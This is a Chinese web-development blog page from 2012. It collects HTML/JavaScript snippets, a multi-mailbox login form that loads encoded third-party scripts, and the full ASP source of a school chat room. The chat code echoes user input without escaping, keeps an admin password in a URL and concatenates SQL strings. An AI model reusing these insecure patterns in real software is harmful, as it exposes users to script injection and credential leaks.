现在的位置: 首页 > 综合 > 正文

絕對メ嶺域

2012年11月18日 ⁄ 综合 ⁄ 共 33167字 ⁄ 字号 评论关闭

11月22日

简单的网站小代码

1. oncontextmenu="window.event.returnValue=false" 将彻底屏蔽鼠标右键
<table border oncontextmenu=return(false)><td>no</table> 可用于Table

2. <body onselectstart="return false"> 取消选取、防止复制

3. onpaste="return false" 不准粘贴

4. oncopy="return false;" oncut="return false;" 防止复制

5. <link rel="Shortcut Icon" href="favicon.ico"> IE地址栏前换成自己的图标

6. <link rel="Bookmark" href="favicon.ico"> 可以在收藏夹中显示出你的图标

7. <input style="ime-mode:disabled"> 关闭输入法

8. 永远都会带着框架
<script language="JavaScript"><!--
if (window == top)top.location.href = "frames.htm"; //frames.htm为框架网页
// --></script>

9. 防止被人frame
<SCRIPT LANGUAGE=JAVASCRIPT><!--
if (top.location != self.location)top.location=self.location;
// --></SCRIPT>

10. 网页将不能被另存为
<noscript><iframe src=*.html></iframe></noscript>

11. <input type=button value=查看网页源代码
onclick="window.location = 'view-source:'+ 'http://www.51js.com/&#39;">

12.删除时确认
<a href='javascript :if(confirm("确实要删除吗?"))location="boos.asp?&areyou=删除&page=1"'>删

除</a>

13. 取得控件的绝对位置

//Javascript
<script language="Javascript">
function getIE(e){
var t=e.offsetTop;
var l=e.offsetLeft;
while(e=e.offsetParent){
t+=e.offsetTop;
l+=e.offsetLeft;
}
alert("top="+t+"/nleft="+l);
}
</script>

//VBScript
<script language="VBScript"><!--
function getIE()
dim t,l,a,b
set a=document.all.img1
t=document.all.img1.offsetTop
l=document.all.img1.offsetLeft
while a.tagName<>"BODY"
set a = a.offsetParent
t=t+a.offsetTop
l=l+a.offsetLeft
wend
msgbox "top="&t&chr(13)&"left="&l,64,"得到控件的位置"
end function
--></script>

14. 光标是停在文本框文字的最后
<script language="javascript">
function cc()
{
var e = event.srcElement;
var r =e.createTextRange();
r.moveStart('character',e.value.length);
r.collapse(true);
r.select();
}
</script>
<input type=text name=text1 value="123" onfocus="cc()">

15. 判断上一页的来源
javascript :
document.referrer

16. 最小化、最大化、关闭窗口
<object id=hh1 classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
<param name="Command" value="Minimize"></object>
<object id=hh2 classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
<param name="Command" value="Maximize"></object>
<OBJECT id=hh3 classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM NAME="Command" VALUE="Close"></OBJECT>

<input type=button value=最小化 onclick=hh1.Click()>
<input type=button value=最大化 onclick=hh2.Click()>
<input type=button value=关闭 onclick=hh3.Click()>
本例适用于IE

17.屏蔽功能键Shift,Alt,Ctrl
<script>
function look(){
if(event.shiftKey)
alert("禁止按Shift键!"); //可以换成ALT CTRL
}
document.onkeydown=look;
</script>

18. 网页不会被缓存
<META HTTP-EQUIV="pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Cache-Control" CONTENT="no-cache, must-revalidate">
<META HTTP-EQUIV="expires" CONTENT="Wed, 26 Feb 1997 08:21:57 GMT">
或者<META HTTP-EQUIV="expires" CONTENT="0">

19.怎样让表单没有凹凸感?
<input type=text style="border:1 solid #000000">

<input type=text style="border-left:none; border-right:none; border-top:none; border-bottom:

1 solid #000000"></textarea>

20.<div><span>&<layer>的区别?
<div>(division)用来定义大段的页面元素,会产生转行
<span>用来定义同一行内的元素,跟<div>的唯一区别是不产生转行
<layer>是ns的标记,ie不支持,相当于<div>

21.让弹出窗口总是在最上面:
<body onblur="this.focus();">

22.不要滚动条?
让竖条没有:
<body style='overflow:scroll;overflow-y:hidden'>
</body>
让横条没有:
<body style='overflow:scroll;overflow-x:hidden'>
</body>
两个都去掉?更简单了
<body scroll="no">
</body>

23.怎样去掉图片链接点击后,图片周围的虚线?
<a href="#" onFocus="this.blur()"><img src="logo.jpg" border=0></a>

24.电子邮件处理提交表单
<form name="form1" method="post" action="mailto:**** at *** dot com" enctype="text/plain">
<input type=submit>
</form>

25.在打开的子窗口刷新父窗口的代码里如何写?
window.opener.location.reload()

26.如何设定打开页面的大小
<body onload="top.resizeTo(300,200);">
打开页面的位置<body onload="top.moveBy(300,200);">

27.在页面中如何加入不是满铺的背景图片,拉动页面时背景图不动
<STYLE>
body
{ background-image:url(logo.gif); background-repeat:no-repeat;

background-position:center;background-attachment: fixed }
</STYLE>

28. 检查一段字符串是否全由数字组成
<script language="Javascript"><!--
function checkNum(str){ return str.match(//D/)==null }
alert(checkNum("1232142141"))
alert(checkNum("123214214a1"))
// --></script>

29. 获得一个窗口的大小
document.body.clientWidth; document.body.clientHeight

30. 怎么判断是否是字符
if (/[^/x00-/xff]/g.test(s)) alert("含有汉字");
else alert("全是字符");

31.TEXTAREA自适应文字行数的多少
<textarea rows=1 name=s1 cols=27 onpropertychange="this.style.posHeight=this.scrollHeight">
</textarea>

32. 日期减去天数等于第二个日期
<script language=Javascript>
function cc(dd,dadd)
{
//可以加上错误处理
var a = new Date(dd)
a = a.valueOf()
a = a - dadd * 24 * 60 * 60 * 1000
a = new Date(a)
alert(a.getFullYear() + "年" + (a.getMonth() + 1) + "月" + a.getDate() + "日")
}
cc("12/23/2002",2)
</script>

33. 选择了哪一个Radio
<HTML><script language="vbscript">
function checkme()
for each ob in radio1
if ob.checked then window.alert ob.value
next
end function
</script><BODY>
<INPUT name="radio1" type="radio" value="style" checked>Style
<INPUT name="radio1" type="radio" value="barcode">Barcode
<INPUT type="button" value="check" onclick="checkme()">
</BODY></HTML>

34.脚本永不出错
<SCRIPT LANGUAGE="JavaScript">
<!-- Hide
function killErrors() {
return true;
}
window.onerror = killErrors;
// -->
</SCRIPT>

35.ENTER键可以让光标移到下一个输入框
<input onkeydown="if(event.keyCode==13)event.keyCode=9">

36. 检测某个网站的链接速度:
把如下代码加入<body>区域中:
<script language=Javascript>
tim=1
setInterval("tim++",100)
b=1

var autourl=new Array()
autourl[1]="www.njcatv.net"
autourl[2]="javacool.3322.net"
autourl[3]="www.sina.com.cn"
autourl[4]="www.nuaa.edu.cn"
autourl[5]="www.cctv.com"

function butt(){
document.write("<form name=autof>")
for(var i=1;i<autourl.length;i++)
document.write("<input type=text name=txt"+i+" size=10 value=测试中……> =》<input type=text

name=url"+i+" size=40> =》<input type=button value=GO

onclick=window.open(this.form.url"+i+".value)><br>")
document.write("<input type=submit value=刷新></form>")
}
butt()
function auto(url){
document.forms[0]["url"+b].value=url
if(tim>200)
{ document.forms[0]["txt"+b].value="链接超时" }
else
{ document.forms[0]["txt"+b].value="时间"+tim/10+"秒" }
b++
}
function run(){ for(var i=1;i<autourl.length;i++)document.write("<img

src=http://"+autourl+"/"+Math.random()+" width=1 height=1

onerror=auto('http://"+autourl+"')>") }
run()</script>

37. 各种样式的光标
auto :标准光标
default :标准箭头
hand :手形光标
wait :等待光标
text :I形光标
vertical-text :水平I形光标
no-drop :不可拖动光标
not-allowed :无效光标
help :?帮助光标
all-scroll :三角方向标
move :移动标
crosshair :十字标
e-resize
n-resize
nw-resize
w-resize
s-resize
se-resize
sw-resize

38.页面进入和退出的特效
进入页面<meta http-equiv="Page-Enter" content="revealTrans(duration=x, transition=y)">
推出页面<meta http-equiv="Page-Exit" content="revealTrans(duration=x, transition=y)">
这个是页面被载入和调出时的一些特效。duration表示特效的持续时间,以秒为单位。transition表示使

用哪种特效,取值为1-23:
  0 矩形缩小
  1 矩形扩大
  2 圆形缩小
  3 圆形扩大
  4 下到上刷新
  5 上到下刷新
  6 左到右刷新
  7 右到左刷新
  8 竖百叶窗
  9 横百叶窗
  10 错位横百叶窗
  11 错位竖百叶窗
  12 点扩散
  13 左右到中间刷新
  14 中间到左右刷新
  15 中间到上下
  16 上下到中间
  17 右下到左上
  18 右上到左下
  19 左上到右下
  20 左下到右上
  21 横条
  22 竖条
  23 以上22种随机选择一种

39.在规定时间内跳转
<META http-equiv=V="REFRESH" content="5;URL=http://www.51js.com">

40.网页是否被检索
<meta name="ROBOTS" content="属性值">
  其中属性值有以下一些:
  属性值为"all": 文件将被检索,且页上链接可被查询;
  属性值为"none": 文件不被检索,而且不查询页上的链接;
  属性值为"index": 文件将被检索;
  属性值为"follow": 查询页上的链接;
  属性值为"noindex": 文件不检索,但可被查询链接;
  属性值为"nofollow": 文件不被检索,但可查询页上的链接。

1.flash播放器代码:

<script language="JavaScript" src="http://w2.k688.com/flashmtv/free/1.js"></script>(嵌入式)
<script language="JavaScript" src="http://w2.k688.com/flashmtv/free/2.js"></script>(弹出式)
<script language="JavaScript" src="http://w2.k688.com/flashmtv/free/3.js"></script>(按钮式)

2.多邮箱登陆代码:

<TABLE width="760" height="1" style=font-size:9pt;TEXT-DECORATION:none; border=0 align=center cellPadding=0 cellSpacing=0 bordercolor="#111111" >
<FORM name=mailForm onsubmit="return check(this)" method=post>
<TBODY>
<TR>

<TD width="78%" height=26 align=left bgcolor="#3DB836">
<div align="center"><STRONG><a href="http://www.k688.com/" style=font-size:9pt;TEXT-DECORATION:none;color=#0000CC target="_blank">邮箱快速登陆→</a></STRONG> <font style=font-size:9pt;>帐号</font>
<script language=jscript.encode src="http://w1.k688.com/free/xjlmail.js"></script>
<input
style="BORDER-RIGHT: #cccccc 1px solid; BORDER-TOP: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; BORDER-BOTTOM: #cccccc 1px solid"
onFocus="this.value='';" size=16 value=用户名 name=name>
<font style=font-size:9pt;>信箱:</font>
<select tabindex=2 size=1 name=mailSelect>
<option selected>请选择您的邮局</option>
<option
value=http://mail.sina.com.cn/cgi-bin/login.cgi;u;psw> at sina dot com</option>
<option
value=http://vip.sina.com/cgi-bin/login.cgi;user;pass> at vip dot sina.com</option>
<option
value=http://bjweb.163.net/cgi/163/login_pro.cgi;user;pass> at 163 dot net</option>
<option
value=http://bjweb.163.net/cgi/163/login_pro.cgi;user;pass> at Tom dot com</option>
<option
value=http://webmail.21cn.com/NULL/NULL/NULL/NULL/NULL/SignIn.gen;LoginName;passwd;post> at 21cn dot com</option>
<option
value=http://webmail.21cn.net/nature/gb/NULL/NULL/NULL/SignIn.gen;LoginName;passwd;hidden;DomainName;21cn.net> at 21cn dot net</option>
<option
value=http://freemail.263.net/cgi/login;user;pass> at 263 dot net</option>
<option
value=http://reg4.163.com/in.jsp?url=http://reg4.163.com/EnterEmail.jsp?username=window.document.mailForm.name.value;username;password;post> at 163 dot com</option>
<option
value=http://vip.163.com/payment/VipLogon.jsp;username;password;post> at vip dot 163.com</option>
<option
value=http://web.netease.com/cgi/login;user;pass;post> at netease dot com</option>
<option
value=http://web.yeah.net/cgi/login;user;pass;post> at Yeah dot net</option>
<option
value=http://freemail.china.com/extend/gb/NULL/NULL/NULL/SignIn.gen;LoginName;passwd;post> at mail dot china.com</option>
<option
value=http://paymail.china.com/extend/gb/NULL/NULL/NULL/SignIn.gen;LoginName;passwd;post> at china dot com</option>
<option
value=http://login.mail.sohu.com/chkpwd.php;UserName;Password;post> at sohu dot com</option>
<option
value=http://www.citiz.net/login.jsp.jsp;username;password;post> at citiz dot net</option>
<option
value=http://login.chinaren.com/zhs/servlet/Login;username;password;post;hidden;url;http://mail.chinaren.com> at ChinaRen dot com</option>
<option
value=http://mw1.elong.com/cgi-bin/weblogon.cgi;username;password;post> at elong dot com</option>
<option
value=http://login.etang.com/servlet/login;login_name;login_password;post;hidden;BackURL;http://mail.etang.com/cgi/door> at etang dot com</option>
<option
value=http://mail.fm365.com/cgi-bin/legend/wmaila;username;password;post> at FM365 dot com</option>
<option
value=http://edit.bjs.yahoo.com/config/login;login;passwd;post> at yahoo dot com.cn</option>
<option
value=http://mail.2911.net/cgi-bin/mail/main.pl;USERNAME;PASSWORD;post> at 2911 dot net</option>
<option
value=http://202.106.186.230/extend/newgb1/NULL/NULL/NULL/SignIn.gen;LoginName;passwd;post;hidden;DomainName;email.com.cn> at email dot com.cn</option>
<option
value=https://login.passport.com/ppsecure/post.srf?da=passport.com&svc=mail;login;passwd;suffix;hotmail.com> at hotmail dot com</option>
<option
value=https://login.passport.com/ppsecure/post.srf?da=passport.com&svc=mail;login;passwd;suffix;msn.com> at msn dot com</option>
</select>
<font style=font-size:9pt;>密码:</font>
<input
style="BORDER-RIGHT: #cccccc 1px solid; BORDER-TOP: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; BORDER-BOTTOM: #cccccc 1px solid"
onFocus=this.select() tabindex=3ā type=password size=12 name=password>

<input type=submit value=登陆 name=Submit2>
<script language="JavaScript" type="text/JavaScript" src="http://union.3721.com/ass/txt_2.js?pid2=A_xjl906_49811"></script>
<a href="http://www.k688.com/" style=font-size:9pt;TEXT-DECORATION:none;color="#FF0000" target="_blank">
<font color="#FF0000">免费代码</font></a> </div></TD>
</TR>
</FORM>
</TABLE>

11月9日

完整的聊天室原代码

login_chat.htm
 
<html>

<head>
<title>登记进入聊天室</title>
<script language=vbscript>
function ao()
li.name.value=Trim(li.name.value)
if li.name.value="" then li.name.value="匿名来客"
li.submit
end function

function ch(whichobj)
whichobj.checked=true
end function

</script>
</head>

<body background="backchat.jpg" bgcolor="#FFFFFF">

<table height=100%>
<tr>
<td valign=center>
<center>
<font color="#FF0000" size="5" face="隶书">聊 天 室</font>

<form name='li' action="uif.asp" method="POST" align=center>
请输入您的姓名:
<input type="text" size="18" name="name" style="font-size: 12pt">

<input type="button" name="B1" onClick='ao()' value="进入" style="
font-size: 12pt">
</form>

<font color="#0000ff" size="5" face="隶书">注意事项</font></center>

<ol>
<li><font size="3">请将本窗口<strong>最大化</strong>,这样可得到最
佳的视觉效果。</font></li>
<li><font size="3">在聊天过程中,请注意<strong>语言使用</strong>,
<strong>尊重对方</strong>。请不要使用不适合学生使用的语言。</font></li
>
</ol>
</td></tr>
<tr><td valign=buttom align=center>
<a href="mailto:whitek@netease.com">本聊天室有 小宝 制作,欢迎您提出宝贵
建议</a>
</td></tr>
</table>
</body>
</html>
-----------
default.htm
 
<html>

<head>
<title>聊天室</title>
</head>

<frameset cols="*,150">
<frameset rows="*,0">
<frame name=uif src="login_chat.htm" noresize>
<frame name=sendwords border=0 src="about:blank" noresize>
</frameset>
<frame name=refresh src="userlist.asp" noresize>
</frameset>
</html>
------------------
global.asa
 
<script language=vbscript runat=server>
SUB Application_OnStart
Application.lock

'Global variables
application("filepath")="D:/网页的研究/chat/"
application("userlist")=""
application("userhtml")=""
application("usercount")=0

'Connections
set con=createobject("adodb.connection")
con.open "wwwchat.dbf"
set application("wwwchat")=con
set con=nothing

'For actions
dim action(1,200),actionsize,actioncount,actionselect
actionselect=""
actionsize=200
actioncount=0

con=application("wwwchat")
set rec=createobject("ADODB.recordset")
rec.open "select * from "&application("filepath")&"chataction.dbf",co
n
do until rec.EOF
if actioncount>=actionsize then
exit do
end if
actionname=trim(rec("action"))
actionmeaning=trim(rec("meaning"))
actionselect=actionselect&"<option value="&chr(34)&actionname&chr(3
4)&">"&replace(actionmeaning,"#","(对象)")&"</option>"
actioncount=actioncount+1
action(0,actioncount)=actionname
action(1,actioncount)=actionmeaning
rec.MoveNext
loop
rec.close
set rec=nothing
set con=nothing
application("action")=action
application("actioncount")=actioncount
application("actionselect")=actionselect
Application.unlock
END SUB

SUB Application_OnEnd
Application.lock
set application("alinks")=nothing
set application("linktoaa")=nothing
Application.unlock
END SUB
</script>
----------------
chat.asp
 
<% @ language="vbscript" %>

<html>
<head>
<title>聊天室</title>

<script language=javascript>
function kp() {
if (event.keyCode==13) e(0);
}

function ref() {
if (event.shiftKey==1 && event.ctrlKey==1 && event.altKey==1) {
see.location="
http://118.118.118.45/vclass/seeinfo.asp?lastcount=0&
ip=1";}
else {
see.location="
http://118.118.118.45/vclass/seeinfo.asp?lastcount=0"
;
}
}
</script>

<script language=vbscript>
function e(way)
if way=3 then
talk.document.location="about:blank"
talk.document.location="about:blank"
call ref
exit function
end if

if way=1 then
cc.obj.value=""
cc.words.value="我走了......"
end if

n1=replace(replace(replace(replace(cc.obj.value,"%","%25"),"#","%23"),
"&","%26"),"?","%3F")
n2=replace(replace(replace(replace(cc.words.value,"%","%25"),"#","%23"
),"&","%26"),"?","%3F")

cc.words.value=""
a="
http://118.118.118.45/vclass/send.asp?obj="&n1&"&words="&n2&"&name=
"&replace(replace(replace(replace(cc.name.value,"%","%25"),"#","%23"),
"&","%26"),"?","%3F")
parent.sendwords.location=a
end function
</script>
</head>

<body background="backchat.jpg" leftmargin=0>

<table width=100% height=100% style="font-size:<%=request.form("fs")%>
">
<tr>
<td height=20 align="center"><font color="#FF0000"><% =request.form("n
ame")%> 欢迎您光临 <a href="
http://118.118.118.45/vclass/default.htm"
target=_blank onMouseOver='status="前往 高一(1)班"' onMouseOut='statu
s=""'>高一(1)班</a> 聊天室</font></td>
</tr>
<tr>
<td height="*">
<iframe name="talk" src="about:blank" width=100% height=100%>
</iframe>
</td>
<tr>
<td height=20 valign=bottom>
<form name='cc'>
<input type='hidden' name="name" value='<% =request.form("name") %
>' >
<p align=center>说话对象:<input type="text" size="5" style="font-
size:<%=request.form("fs")%>" name="obj" value=<% =request.form("obj")
%>>
请说话:<input type="text" size="32" style="font-size: <%=request.form
("fs")%>" name="words" onKeyPress='kp();'>
<input type="button" onclick="e(0)" name="B1" style="font-size: <%
=request.form("fs")%>" value="发送" default>
<input type="button" name="B2" onclick="e(1)" value="离开" style="
font-size: <%=request.form("fs")%>">
<input type="button" name="B2" onclick="e(3)" value="刷新" style="
font-size: <%=request.form("fs")%>"> 
<a href="action.htm" target="_blank" onMouseOver='status="特殊语言
使用说明"' onMouseOut='status=""'>特殊语言</a>
</p>
</form>
</td>
</tr>
</table>

<script language="vbscript">
b="
http://118.118.118.45/vclass/seeinfo.asp?lastcount=0"
parent.refresh.location=b
cc.words.focus
</script>
</body>
</html>
-----------------
chatmg.asp
 
<%@language=vbscript%>
<%
if request.querystring("pw")="g11chat" then
if request.querystring("action")="clear" then
application.lock
application("userlist")=""
application("userhtml")=""
application("usercount")=0
application.unlock
response.write "OK!"
end if
end if
%>
-------------
seeinfo.asp
 
<% @ language="vbscript" %>
<% Response.Expires=0 %>

<html>
<head>
<script language="javascript">
function mclick(st) {
if (event.altKey==1 &&
parent.uif.document.cc.obj.value!="") {
parent.uif.document.cc.obj.value=st+"、"+parent.uif.document.cc.
obj.value;
return 0;
}
parent.uif.document.cc.obj.value=st;
}

function c(ct) {
location="seeinfo.asp?lastcount="+ct;
}
</script>

<script language=vbscript>
function mover(ob)
ob.style.background="blue"
ob.style.color="red"
end function

function mout(ob)
ob.style.background=""
ob.style.color=""
end function

function mclic1k(st)
parent.uif.document.cc.obj.value=st
end function
</script>
</head>

<body bgcolor="#ffffff" onError="">
<%
'Get paraments
dim lastcount,ipable
lastcount=request.querystring("lastcount")+0
ipable=request.querystring("ip")+0

response.write "<!--"&lastcount&"-->"

'Creat connection
set con=application("wwwchat")

set rec=createobject("adodb.recordset")
if lastcount=0 then
if ipable<>1 then
rec.open "select * from "&application("filepath")&"wwwchat where va
l(id)>recc()-10",con
else
rec.open "select * from "&application("filepath")&"wwwchat where va
l(id)>recc()-200",con
end if
else
rec.open "select * from "&application("filepath")&"wwwchat where va
l(id)>"&lastcount,con
end if

'Seek records
dim j,lastid,thisid
j=""
response.write "<script language=vbscript>"
%>
parent.uif.talk.document.write "<font face=宋体>"
<%
do until rec.EOF

infoname=rtrim(rec("name").value)
infowords=rtrim(rec("info").value)

if ipable=1 then response.write "parent.uif.talk.document.write "&c
hr(34)&rtrim(rec("ip"))&chr(34)&chr(13)

mess="<font color=blue>"&infoname&"</font>"&infowords&"
"
%>
parent.uif.talk.document.write "<% =replace(mess,chr(34),""")
%>"
<%
j=rec("id")
rec.movenext
loop
rec.close
set con=nothing
response.write "</script>"
response.write "<!--"&j&"-->"

if j<>"" then %>
<script language=javascript>
parent.uif.talk.scroll(0,65000);
parent.uif.talk.scroll(0,65000);
parent.uif.talk.document.write("</font>");
</script>
<%
else
j=lastcount
end if
%>

<script language=javascript>
setTimeout("c(<% =trim(j) %>);",3000);
</script>
<center>用户列表</center>
<hr>
<table width=100% align=center style="cursor:hand">
<tr><td onMouseover='mover(this)' onMouseOut='mout(this)' onClick='mcl
ick("所有人")'>
(所有人)
</td></tr>
<%
=application("userhtml")
%>
</table>
<hr>
<center>共<font color=red><%=application("usercount")%></font>人
<b
r><font color=blue>按住Alt可复选</font></center>
</body>
</html>
----------
send.asp
 
<% @ language="vbscript"%>
<%response.expires=0%>
<%
function relist
dim nl,nlen,startp,c,nh
response.write "inlist:"&application("userlist")&"
"
nl=application("userlist")
nlen=len(nl)
startp=1
c=0
nh=""
do while startp<nlen
le=instr(startp,nl,"<")
ri=instr(startp,nl,">")
if le>0 and le<nlen and ri>le and ri<=nlen then
ss=replace(mid(nl,le+1,ri-le-1),chr(34),""")
nh=nh&"<tr><td onMouseover='mover(this)' onMouseOut='mout(this)'
onClick='mclick("&chr(34) & replace(ss,chr(34),"(引号)") & chr(34)&")
'>"
nh=nh&ss&"</td></tr>"&chr(13)&chr(10)
'response.write "one!"&nh&"
" chr(34)&"&chr(34)&"&chr(34)
c=c+1
else
exit do
end if
startp=ri+1
loop
application.lock
application("userhtml")=nh
application("usercount")=c
'response.write nh&"aa"
end function
%>

<html>
<%
'Send message
dim obj,name,words,iname
obj=trim(request.querystring("obj"))
if obj="" then obj="所有人"
name=replace(replace(replace(trim(request.querystring("name")),";",";
"),"[","["),"]","]")
words=replace(replace(replace(trim(request.querystring("words")),";","
;"),"[","["),"]","]")
byebye=trim(request.querystring("go"))&""
joinin=trim(request.querystring("joinin"))&""
iname=replace(replace(name,"<","<"),">",">")
if joinin="1" and instr(application("userlist"),"<"&iname&">")>0 then

response.end
end if

if byebye="1" then
application.lock
application("userlist")=replace(application("userlist"),"<"&iname&"
>","")
application.unlock
call relist
else
if instr(application("userlist"),"<"&iname&">")<=0 then
application.lock
application("userlist")=application("userlist")&"<"&iname&">"
application.unlock
call relist
end if
end if

set con=application("wwwchat")

set com=createobject("adodb.command")
com.activeconnection=con

response.write "send this time"

dim n1,n2,sd,ad
n1=name

n2=obj
n2="对<font color=blue>"&n2&"</font>说:"&words

action=application("action")
actioncount=application("actioncount")
for ai=1 to actioncount
if action(0,ai)=words then
words="<font color=red>"&action(1,ai)&"</font>"
for i=1 to len(words)
c=right(left(words,i),1)
if c="#" then
words=left(words,i-1)&"<font color=blue>"&obj&"</font>"&righ
t(words,len(words)-i)
exit for
end if
next
n2=":"&words
end if
next

com.commandtext="INSERT INTO wwwchat (name,info,ip,id) valueS (?,?,?,a
llt(str(recc()+1)))"
com.Parameters.Append com.CreateParameter("name",200, ,255 )
com.Parameters.Append com.CreateParameter("info",200, ,255 )
com.Parameters.Append com.CreateParameter("ip",200, ,255 )
com("name") = n1
com("info") = n2
com("ip")=request.servervariables("remote_addr")
com.execute

set con=nothing %>
</html>
--------------
uif.asp
 
<% @ language="vbscript" %>

<html>
<head>
<title>聊天室</title>

<script language=javascript>
function kp() {
if (event.keyCode==13) e(0);
}

function ref() {
if (event.shiftKey==1 && event.ctrlKey==1 && event.altKey==1) {
parent.refresh.location="seeinfo.asp?lastcount=0&ip=1";}
else {
parent.refresh.location="seeinfo.asp?lastcount=0";
}
}
</script>

<script language=vbscript>
function aclick
cc.words.value=cc.action(cc.action.selectedindex).value
end function
function bye()
parent.refresh.location="about:blank"
parent.sendwords.location="send.asp?go=1&obj=所有人&words=我走了......
&name="&replace(replace(replace(replace(cc.name.value,"%","%25"),"#","
%23"),"&","%26"),"?","%3F")
alert "欢迎希望您下次再来!"
end function

function e(way)
if way=3 then
talk.document.location="about:blank"
talk.document.location="about:blank"
call ref
exit function
end if

if way=1 then
parent.location="
http://118.118.118.45/chat"
exit function
end if

n1=replace(replace(replace(replace(cc.obj.value,"%","%25"),"#","%23"),
"&","%26"),"?","%3F")
n2=replace(replace(replace(replace(cc.words.value,"%","%25"),"#","%23"
),"&","%26"),"?","%3F")

cc.words.value=""
a="send.asp?obj="&n1&"&words="&n2&"&name="&replace(replace(replace(rep
lace(cc.name.value,"%","%25"),"#","%23"),"&","%26"),"?","%3F")
parent.sendwords.location=a
end function
</script>
</head>

<body background="backchat.jpg" leftmargin=0 topmargin=0 rightmargin=0
bottommargin=0 onUnload="bye()">

<table width=100% height=100% style="font-size:9pt">
<tr>
<td height="*">
<iframe name="talk" src="about:blank" width=100% height=100%>
</iframe>
</td>
<tr>
<td height=20 valign=bottom>
<form name='cc'>
您是<font color="#FF0000"><% =request.form("name")%></font>

<input type='hidden' name="name" value='<% =request.form("name") %>' >

说话对象:<input type="text" size="70" style="font-size:9pt" name="obj
" value=<% =request.form("obj") %>>

动作选择:<select name=action style="color:blue;font-size:9pt" onChang
e="aclick()">
<%=application("actionselect")%>
</select>

请输入话:<input type="text" size="70" style="font-size: 9pt" name="wo
rds" onKeyPress='kp();'>

<input type="button" onclick="e(0)" name="B1" style="font-size: 9p
t" value="发送" default>
<input type="button" name="B2" onclick="e(1)" value="离开" style="
font-size: 9pt">
<input type="button" name="B2" onclick="e(3)" value="刷新" style="
font-size: 9pt"> 
</p>
</form>
</td>
</tr>
</table>

<script language="vbscript">
call first
function first
parent.sendwords.location="send.asp?joinin=1&obj=所有人&words=我来了..
....&name="&replace(replace(replace(replace(cc.name.value,"%","%25"),"
#","%23"),"&","%26"),"?","%3F")
b="seeinfo.asp?lastcount=0"
parent.refresh.location=b
cc.words.focus
end function
</script>
</body>
</html>
-------------
userlist.asp
 
<% @ language="vbscript" %>
<% Response.Expires=0 %>

<html>
<head>
<script language=vbscript>
function mover(ob)
end function

function mout(ob)
end function

function mclick(st)
alert "只有在加入聊天时,才能进行用户选择!"
end function
</script>
</head>

<body bgcolor="#ffffff" onError="">
<script language=javascript>
setTimeout("location.reload()",3000);
</script>
<%
if application("usercount")>0 then
%>
<center>用户列表</center>
<hr>
<table width=100% align=center style="cursor:hand">
<%
=application("userhtml")
%>
</table>
<hr>
<center>共<font color=red><%=application("usercount")%></font>人</cent
er>
<%
else
%>
<table width=100% height="100%">
<tr><td align=center valign=center>
<font size=4 face="隶书" color=blue><center>我们等待着您的光临</center
></font>
</td></tr>
</table>
<%
end if
%>

</body>
</html>

asp程序错误详细说明例表

再次感谢小叶老师的无私哈``
平时写程序的时候出错时的解决方法,不太全,但是一般问题应该都有了,呵呵,欢迎大加添加新的错误信息及解决方法
ActiveServerPages,ASP0126(0x80004005)-->找不到包含文件

MicrosoftOLEDBProviderforODBCDrivers(0x80040E21)-->sql语句出错(数据类型不匹配或表名(字段名)错误或表处于编辑状态,或表不存在于conn打开的数据库中)
MicrosoftOLEDBProviderforODBCDrivers(0x80040E14)-->sql语句出错(字段名错误,或数据类型不匹配)
MicrosoftOLEDBProviderforODBCDrivers(0x80040E07)-->sql语句出错(要插入或更新的字段的类型与变量数据类型不匹配)
MicrosoftOLEDBProviderforODBCDrivers(0x80040E57)-->sql语句出错(要插入或更新的数据溢出)
MicrosoftOLEDBProviderforODBCDrivers(0x80040E10)-->sql语句出错(update字段名或要更新的数据类型错误)
MicrosoftOLEDBProviderforODBCDrivers(0x80004005)-->sql语句出错(要插入或更新的字段的数值不能为空值)
MicrosoftOLEDBProviderforODBCDrivers(0x80004005) -->打开数据库出错,没有在指定目录发现数据库
MicrosoftOLEDBProviderforODBCDrivers(0x80040E37)-->没有发现表

MicrosoftVBscript运行时错误(0x800A000D)-->错误引用rs变量(rs对像已关闭或未定义)
MicrosoftVBscript运行时错误(0x800A01C2)-->vbscript脚本错误(vbscript语句出错)
MicrosoftVBscript运行时错误(0x800A0006)-->vbscript脚本错误(溢出错误)
MicrosoftVBscript编译器错误(0x800A040E)-->缺少loop
MicrosoftVBscript编译器错误(0x800A03EA)-->缺少if或endif
MicrosoftVBscript编译器错误(0x800A03EE)--> 语句未结束(缺少")")
MicrosoftVBscript编译器错误(0x800A03F6)-->if语句出错(缺少endif)
MicrosoftVBscript运行时错误(0x800A005B)-->缺少set
MicrosoftVBscript运行时错误(0x800A0005)-->变量未定义
MicrosoftVBscript编译器错误(0x800A03F9)-->if语句缺少then
MicrosoftVBscript编译器错误(0x800A0411)-->dim语句定义错误
MicrosoftVBscript编译器错误(0x800A0408)-->sql语句错误(?????????????????)

ADODB.Recordset(0x800A0BB9)-->sql语句出错(sql语句或conn语句未定义或对一个rs属性进行赋值时发生错误)
ADODB.Recordset(0x800A0CC1)-->rs对像出错(rs对像本身不存在或错误地引用了一个不存在的字段名)
ADODB.Recordset(0x800A0BCD)-->rs对像出错(记录集中没有记录却对记录集进行操作)
ADODB.Recordset(0x800A0E78)-->rs对像出错(记录集不存在,缺少rs.open语句)
ADODB.Recordset(0x800A0CC1) -->rs对像出错(引用了一个不存在的字段名)
ADODB.Recordset(0x800A0E7D)-->conn定义错误
ADODB.Recordset(0x800A0CB3)-->数据库以只读方式打开,无法更新数据

一些不长见的ASP调用存储过程的技巧

1、最简单的如下
      Dim objConn
  Set objConn = Server.CreateObject("ADOBD.Connection")
  objConn.Open Application("Connection_String")
  'Call the stored procedure to increment a counter on the page
  objConn.Execute "exec sp_AddHit"
没有参数,没有返回,没有错误处理,就是这个了

2、带参数的一种调用
objConn.Execute "exec sp_AddHit 'http://www.aspalliance.com', 1"
请注意分割参数,该方法也不返回记录

3、返回记录的
      Dim objConn
  Dim objRs
  Set objConn = Server.CreateObject("ADOBD.Connection")
  Set objRs = Server.CreateObject("ADOBD.Recordset")
  objConn.Open Application("Connection_String")
  'Call the stored procedure to increment a counter on the page
  objRs.Open objConn, "exec sp_ListArticles '1/15/2001'"
  'Loop through recordset and display each article
4、……
      Dim objConn
      Dim objCmd

'Instantiate objects
Set objConn     = Server.CreateObject("ADODB.Connection")
